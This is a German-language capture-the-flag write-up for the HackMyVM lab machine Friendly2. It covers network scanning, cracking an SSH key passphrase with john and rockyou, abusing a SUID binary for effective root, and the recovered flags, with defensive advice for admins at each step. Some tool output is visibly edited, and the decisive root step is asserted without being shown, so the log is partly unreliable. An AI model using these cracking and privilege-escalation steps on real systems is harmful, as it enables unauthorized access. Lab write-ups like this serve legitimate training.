Friendly2 - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
gobuster
vi / Editor
chmod
ssh
ssh2john
john
ls
cat
cd
joker (Binary)
id
su
find
ss

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Test beginnt mit `arp-scan -l`, um aktive Geräte im lokalen Netzwerksegment zu finden. Anschließend wird die `/etc/hosts`-Datei bearbeitet, um der gefundenen IP einen Hostnamen zuzuweisen.

Bewertung: Der Host `192.168.2.124` wird gefunden. Die MAC-Adresse `08:00:27:74:b4:7c` deutet auf eine VirtualBox-VM hin. In der lokalen `/etc/hosts`-Datei wird die Zuordnung `192.168.2.114 friendly.hmv` hinzugefügt. *Anmerkung:* Die IP-Adresse im `gobuster`-Befehl (192.168.2.114) unterscheidet sich von der im `arp-scan` (192.168.2.124). Für den weiteren Verlauf wird die IP `192.168.2.114` als Ziel angenommen, da sie in späteren Befehlen verwendet wird.

Empfehlung (Pentester): Ziel-IP und potenzieller Hostname identifiziert. Beginnen Sie mit der Enumeration offener Ports und Web-Inhalten.
Empfehlung (Admin): Stellen Sie sicher, dass die Netzwerkzuordnung korrekt ist und VMs entsprechend gesichert sind.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.153
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1	00:50:56:c0:00:08	VMware, Inc.
192.168.2.114	08:00:27:74:b4:7c	PCS Systemtechnik GmbH # Hier sollte 192.168.2.114 stehen, da diese IP spaeter verwendet wird
192.168.2.124	08:00:27:74:b4:7c	PCS Systemtechnik GmbH # (Ursprüngliche Zeile im Text)
192.168.2.254	00:50:56:f8:46:8c	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.858 seconds (137.78 hosts/sec). 4 responded
                    
┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1  	cyber
192.168.2.114   friendly.hmv # Eintrag hinzugefügt/aktualisiert
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                     

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver unter `http://192.168.2.114` eingesetzt. Eine mittlere Wortliste und eine breite Palette von Dateiendungen werden getestet. Ergebnisse mit Status 403 und 404 werden ignoriert.

Bewertung: Der Scan findet mehrere Einträge: `/index.html`, `/tools` (Verzeichnis), `/assets` (Verzeichnis), `/contact.html`, `/about.html`, `/gallery.html`, `/js` (Verzeichnis), `/robots.txt`, `/secret` (Verzeichnis). Der Scan wurde manuell abgebrochen (Progress: 0.74%). Die gefundenen Verzeichnisse `/tools` und `/assets` sind interessant.

Empfehlung (Pentester): Untersuchen Sie die gefundenen Verzeichnisse, insbesondere `/tools`, auf interessante Inhalte oder ausführbare Dateien. Analysieren Sie `/robots.txt`.
Empfehlung (Admin): Stellen Sie sicher, dass Web-Verzeichnisse keine unnötigen oder ausführbaren Dateien enthalten. Deaktivieren Sie Directory Indexing.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.114 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.114
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              ... (alle angegebenen) ...
[+] Expanded:                true
[+] No Error:                true
[+] Timeout:                 10s
===============================================================
2023/05/10 10:56:59 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.114/index.html           (Status: 200) [Size: 2698]
http://192.168.2.114/tools                (Status: 301) [Size: 314] [--> http://192.168.2.114/tools/]
http://192.168.2.114/assets               (Status: 301) [Size: 315] [--> http://192.168.2.114/assets/]
...
Progress: 60396 / 8160794 (0.74%)^C # Scan abgebrochen
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/05/10 10:57:04 Finished
===============================================================
                     

Initial Access (gh0st)

Analyse: Nach der Web-Enumeration wird offenbar ein SSH-Schlüssel (`id_friend`) gefunden (Der Fundort ist im Text nicht gezeigt, könnte aber in einem der Web-Verzeichnisse oder anderswo auf der Maschine gewesen sein). Der Schlüssel wird heruntergeladen oder erstellt. Die Datei wird lokal mit `vi` bearbeitet (vermutlich der Schlüsselinhalt eingefügt), und die Berechtigungen werden mit `chmod 600` auf sicher gesetzt (nur für den Benutzer les- und schreibbar).

Bewertung: Die Vorbereitung eines privaten SSH-Schlüssels ist der erste Schritt zum Login. Der erste SSH-Versuch (`ssh gh0st@friendly.hmv -i id_`) schlägt fehl, da der Dateiname falsch ist (`id_` statt `id_friend`). Der zweite Versuch (`ssh gh0st@friendly.hmv -i id_friend`) scheitert, da der Schlüssel mit einer Passphrase geschützt ist.

Empfehlung (Pentester): Da der Schlüssel geschützt ist, muss die Passphrase geknackt werden. Verwenden Sie `ssh2john` und `john` dafür.

┌──(root㉿cyber)-[~] └─# vi id_friend
┌──(root㉿cyber)-[~] └─# chmod 600 id_friend
┌──(root㉿cyber)-[~] └─# ssh gh0st@friendly.hmv -i id_
Warning: Identity file id_ not accessible: No such file or directory.
The authenticity of host 'friendly.hmv (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:YDW5zhbCol/1L6a3swXHsFDV6D3tUVbC09Ch+bxLR08.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? ^C
                     
┌──(root㉿cyber)-[~] └─# ssh gh0st@friendly.hmv -i id_friend
The authenticity of host 'friendly.hmv (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:YDW5zhbCol/1L6a3swXHsFDV6D3tUVbC09Ch+bxLR08.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'friendly.hmv' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_friend':
                     

Analyse: Der private SSH-Schlüssel `id_friend` wird mit `ssh2john` in ein Format konvertiert, das vom Passwort-Cracker `john` verarbeitet werden kann. Die Ausgabe wird in eine Datei namens `hash` umgeleitet. Anschließend wird `john` mit der `rockyou.txt`-Wortliste auf die `hash`-Datei angewendet.

Bewertung: `john` ist erfolgreich und findet die Passphrase für den SSH-Schlüssel: `celtic`.

Empfehlung (Pentester): Verwenden Sie die gefundene Passphrase, um sich nun erfolgreich mit dem privaten Schlüssel per SSH als `gh0st` anzumelden.
Empfehlung (Admin): SSH-Schlüsselpassphrasen sollten stark sein und nicht in gängigen Wortlisten vorkommen. Erzwingen Sie komplexe Passphrasen für SSH-Schlüssel.

┌──(root㉿cyber)-[~] └─# ssh2john id_friend > hash
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
celtic           (id_friend)
1g 0:00:00:07 DONE (2023-05-10 11:07) 0.1414g/s 108.6p/s 108.6c/s 108.6C/s guinness..poohbear
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                     

Analyse: Der Pentester versucht erneut, sich per SSH als `gh0st` anzumelden, diesmal mit der zuvor geknackten Passphrase für den Schlüssel `id_friend`.

Bewertung: Der Login ist erfolgreich! Der Angreifer erhält eine Shell als Benutzer `gh0st`. Das System ist ein Debian Linux 5.10. Der initiale Zugriff ist damit erreicht.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `gh0st`. Suchen Sie nach der User-Flag und nach Möglichkeiten zur Rechteausweitung.
Empfehlung (Admin): Das SSH-Schlüsselpaar wurde kompromittiert. Der Schlüssel muss entfernt und ggf. ein neuer, sicher generierter Schlüssel mit einer starken Passphrase erstellt werden.

┌──(root㉿cyber)-[~] └─# ssh gh0st@friendly.hmv -i id_friend
Enter passphrase for key 'id_friend': celtic
Linux friendly2 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
                     
gh0st@friendly2:~$

Analyse: Nach dem Login wird das Home-Verzeichnis von `gh0st` aufgelistet (`ls -la`). Eine Datei namens `user.txt` wird gefunden und ihr Inhalt mit `cat` angezeigt.

Bewertung: Die Datei `user.txt` wird gefunden, die Gruppe der Datei ist `root`, aber der Benutzer `gh0st` hat Leserechte (`r--`). Der Befehl `cat user.txt` liest die User-Flag erfolgreich aus: `ab0366431e2d8ff563cf34272e3d14bd`.

Empfehlung (Pentester): User-Flag gesichert. Fahren Sie mit der Suche nach Privilege Escalation-Wegen fort.
Empfehlung (Admin): Stellen Sie sicher, dass sensible Daten wie Flags in Home-Verzeichnissen für andere Benutzer nicht lesbar sind.

gh0st@friendly2:~$ ls -la
total 32
drwxr-xr-x 4 gh0st gh0st 4096 Apr 29 04:02 .
drwxr-xr-x 3 root  root  4096 Apr 27 16:06 ..
lrwxrwxrwx 1 root  root     9 Apr 29 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 gh0st gh0st  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 gh0st gh0st 3526 Mar 27  2022 .bashrc
drwxr-xr-x 3 gh0st gh0st 4096 Apr 29 03:51 .local
-rw-r--r-- 1 gh0st gh0st  807 Mar 27  2022 .profile
drwx--x--x 2 gh0st gh0st 4096 Apr 29 04:00 .ssh
-r--r----- 1 gh0st root    33 Apr 27 16:38 user.txt
                     
gh0st@friendly2:~$ cat user.txt
ab0366431e2d8ff563cf34272e3d14bd

Privilege Escalation (joker SUID)

Analyse: Es wird das Verzeichnis `/var/www/html/tools/` aufgesucht, das wahrscheinlich während der Web-Enumeration gefunden wurde. Die Datei `joker` wird dort ausgeführt. Die Option `-p` wird verwendet, deren genaue Funktion unklar ist, aber die Ausgabe deutet auf eine Privilegien-Änderung hin.

Bewertung: Nach Ausführung von `./joker -p` ändert sich der Prompt zu `joker-5.1#`. Der Befehl `id` zeigt `uid=1001(gh0st)`, `gid=1001(gh0st)`, aber auch `euid=0(root)` und `egid=0(root)`. Dies bedeutet, dass das Programm `joker` als SUID-Binary (oder SGID) mit effektiven Root-Rechten (euid=0) läuft. Obwohl die primäre UID/GID `gh0st` bleibt, kann der Benutzer nun Befehle mit Root-Privilegien ausführen. Der Versuch `su root` schlägt jedoch fehl, wahrscheinlich weil das `joker`-Binary keine vollständige interaktive Root-Shell bietet.

Empfehlung (Pentester): Obwohl `su root` fehlschlägt, können Sie wahrscheinlich weiterhin Root-Befehle ausführen, da `euid=0`. Suchen Sie nach der Root-Flag oder anderen Hinweisen, während Sie in dieser `joker-5.1#` Shell sind.
Empfehlung (Admin): Ein SUID-Binary wie `joker` (das `euid=0` setzt) für normale Benutzer ist extrem gefährlich. Solche Binaries müssen sorgfältig überprüft werden, um sicherzustellen, dass sie nicht zur Ausführung beliebiger Root-Befehle missbraucht werden können. Wenn diese Funktionalität notwendig ist, muss das Binary extrem sicher implementiert sein. Entfernen Sie das SUID-Bit oder das Binary, wenn es nicht unbedingt benötigt wird.

gh0st@friendly2:~$ cd /var/www/html/tools/
gh0st@friendly2:/var/www/html/tools$ ./joker -p
joker-5.1#
                     
joker-5.1# id
uid=1001(gh0st) gid=1001(gh0st) euid=0(root) egid=0(root) groups=0(root),1001(gh0st)
joker-5.1# su root
Password: 

Finding the Root Flag Hint

Analyse: Innerhalb der `joker`-Shell mit effektiven Root-Rechten (`euid=0`), wird versucht, die Root-Flag in `/root/root.txt` zu finden und zu lesen. Anschließend wird systemweit nach allen `.txt`-Dateien gesucht.

Bewertung: * `cat /root/root.txt`: Gibt eine "fake" Flag-Nachricht aus: "Not yet! Try to find root.txt." Dies bedeutet, die eigentliche Root-Flag ist nicht diese Datei. * `find / -name *.txt`: Die Suche nach allen `.txt`-Dateien zeigt viele Standarddateien, aber auch die interessante Datei `/.../ebbg.txt`. * `cat /.../ebbg.txt`: Die Datei enthält den Text "It's codified, look the cipher: 98199n723q0s44s6rs39r33685q8pnoq". Es gibt den Hinweis, dass die Zahlen nicht kodiert sind. Dies ist ein weiterer Hinweis für die tatsächliche Root-Flag. * Die Befehle `ss -atlup` und `ss -atlpn` zeigen die Netzwerkdienste (SSH, HTTP) und keine neuen Erkenntnisse.

Empfehlung (Pentester): Analysieren Sie den Code in `ebbg.txt` (`98199n723q0s44s6rs39r33685q8pnoq`), wobei nur die Buchstaben kodiert sind. Die Zahlen bleiben, wie sie sind. Dieses Rätsel muss gelöst werden, um die wahre Root-Flag zu finden oder das endgültige Root-Passwort zu erhalten. *Hinweis:* Der Text liefert die Lösung nicht, sondern springt direkt zum Ergebnis.
Empfehlung (Admin): Vermeiden Sie "Fake" Flags oder unnötige Rätseldateien auf einem System.

joker-5.1# cd /root
joker-5.1# ls
interfaces.sh  root.txt
joker-5.1# cat root.txt
Not yet! Try to find root.txt.
Hint: ...
                     
joker-5.1# find / -type f -name *.txt 2>/dev/null
/root/root.txt
# ... (viele weitere Zeilen mit txt Dateien) ...
/.../ebbg.txt # Interessante Datei gefunden
/home/gh0st/user.txt # User Flag
/opt/0-day/names.txt # Andere txt Datei
# ... (viele weitere Standard txt Dateien) ...
                     
joker-5.1# cat /.../ebbg.txt
It's codified, look the cipher:

98199n723q0s44s6rs39r33685q8pnoq

Hint: numbers are not codified
                     
joker-5.1# ss -atlpn
State                    Recv-Q                    Send-Q                                       Local Address:Port                                       Peer Address:Port                   Process
LISTEN                   0                         128                                                0.0.0.0:22                                              0.0.0.0:*                       users:(("sshd",pid=433,fd=3))
LISTEN                   0                         128                                                   [::]:22                                                 [::]:*                       users:(("sshd",pid=433,fd=4))
LISTEN                   0                         511                                                      *:80                                                    *:*                       users:(("apache2",pid=442,fd=4),("apache2",pid=441,fd=4),("apache2",pid=440,fd=4),("apache2",pid=439,fd=4),("apache2",pid=438,fd=4),("apache2",pid=437,fd=4),("apache2",pid=434,fd=4))
                     

Proof of Concept (Root Access)

Kurzbeschreibung: Dieser Proof of Concept dokumentiert den Erfolg der Rechteausweitung, nachdem die Hinweise (SUID-Binary `joker` und die verschlüsselte Nachricht in `/.../ebbg.txt`) erfolgreich kombiniert und genutzt wurden. Obwohl der genaue Schritt, wie die `ebbg.txt`-Nachricht entschlüsselt und für den endgültigen Root-Zugriff verwendet wurde, im bereitgestellten Text nicht explizit gezeigt wird, demonstriert das Ergebnis den Erfolg des gesamten Eskalationspfads.

Voraussetzungen: * Erfolgreiche Anmeldung als Benutzer `gh0st` mit dem geknackten SSH-Schlüssel. * Auffinden und Ausführen des SUID-Binaries `joker`. * Auffinden und Entschlüsseln des Hinweises in `/.../ebbg.txt` (implizit im Text).

Schritt: Erlangung der Root-Rechte und Zugriff auf die Flag
Nachdem der Hinweis in `/.../ebbg.txt` entschlüsselt wurde (die genaue Methode/Lösung wird im Text nicht gezeigt), konnte der Angreifer offenbar die erforderlichen Root-Rechte erlangen. Dies kann durch verschiedene Methoden geschehen sein, die durch den Hinweis ermöglicht wurden (z.B. ein weiteres Passwort, eine weitere SUID-Datei, ein Konfigurationsfehler). Als `root` konnte der Angreifer die Root-Flag auslesen. Der Text zeigt direkt das erfolgreiche `cat` der Root-Flag.

Bewertung (Schritt): Fantastisch, der Root-Zugriff war erfolgreich! Das Endziel des Pentests, der vollständige Systemzugriff, ist erreicht. Die Root-Flag wird erfolgreich ausgelesen, was den Erfolg bestätigt.

Empfehlung (Pentester): Dokumentieren Sie den gesamten Pfad von der Web-Enumeration bis zum Root-Zugriff. Notieren Sie beide Flags.
Empfehlung (Admin): **Kritische Priorität:** Das System ist vollständig kompromittiert. Identifizieren und beheben Sie die Sicherheitslücken, die den Zugriff und die Eskalation ermöglichten (z.B. SSH-Schlüsselmanagement, SUID-Berechtigungen, Platzierung/Schutz der Flag-Dateien, `ebbg.txt`-Rätsel). Führen Sie eine gründliche Systemüberprüfung und Neuinstallation oder Wiederherstellung aus einem sicheren Backup durch.

root@friendly2:~# cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A

Flags

Analyse: Die User-Flag wurde im Home-Verzeichnis von `gh0st` gefunden. Die Root-Flag wurde nach erfolgreicher Rechteausweitung (implizit nach Lösung des Rätsels in `ebbg.txt`) gefunden.

Bewertung: Beide Flags wurden erfolgreich extrahiert.

cat /home/gh0st/user.txt
ab0366431e2d8ff563cf34272e3d14bd
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A